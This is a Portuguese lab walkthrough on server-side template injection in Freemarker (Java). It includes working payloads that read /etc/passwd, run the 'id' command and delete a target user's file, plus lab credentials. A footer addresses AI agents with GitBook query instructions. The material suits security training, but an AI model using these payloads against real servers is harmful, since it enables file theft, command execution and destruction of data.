> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/ssti/ssti-using-java-template-engine-documentation.md).

# SSTI Usando Documentação do Mecanismo de Template Java

### Injeção de Template no Lado do Servidor Usando a Documentação

Este laboratório apresenta uma vulnerabilidade **SSTI**. O objetivo é identificar o mecanismo de template usado, consultar sua documentação para entender como executar código arbitrário e então excluir o arquivo moral. txt no diretório de Carlos. / As credenciais fornecidas são: **content-manager: C0nt3ntM4n4g3r**.

<figure><img src="/files/66015c04881f54bcd473a9adf2321c503293b560" alt=""><figcaption></figcaption></figure>

### **Análise do Template**

Nos comentários, uma expressão é fornecida pelo mecanismo:

* Teste simples:

```java
${7*7}
```

<figure><img src="/files/7e5c068fa8bf423392406d59686719b768d6a6d3" alt=""><figcaption></figcaption></figure>

* Um erro revela que o mecanismo usado é **Freemarker (Java)**.
* Uma nova expressão como `${7*a}` confirma a interpretação do template.

```java
${7*a}
```

<figure><img src="/files/715d8e122355fc185c3efded6041ac1a398b802f" alt=""><figcaption></figcaption></figure>

#### **Leitura de Arquivo**

Para ler o arquivo /etc/passwd, são usados os métodos acessíveis por meio do objeto:

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```

<figure><img src="/files/efba138af253100da4e6a77516c12eb6804f15fd" alt=""><figcaption></figcaption></figure>

#### **Execução de Comandos**

O Freemarker permite invocar `Executar` utilitário:

```java
${"freemarker.template.utility.Execute"?new()("id")}
```

<figure><img src="/files/f90b2ce32c6d96bd5ab453f5e0c4edb569639a57" alt=""><figcaption></figcaption></figure>

#### **Arquivo-alvo Excluído**

Para remover moral.txt do diretório de Carlos:

```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/ssti/ssti-using-java-template-engine-documentation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
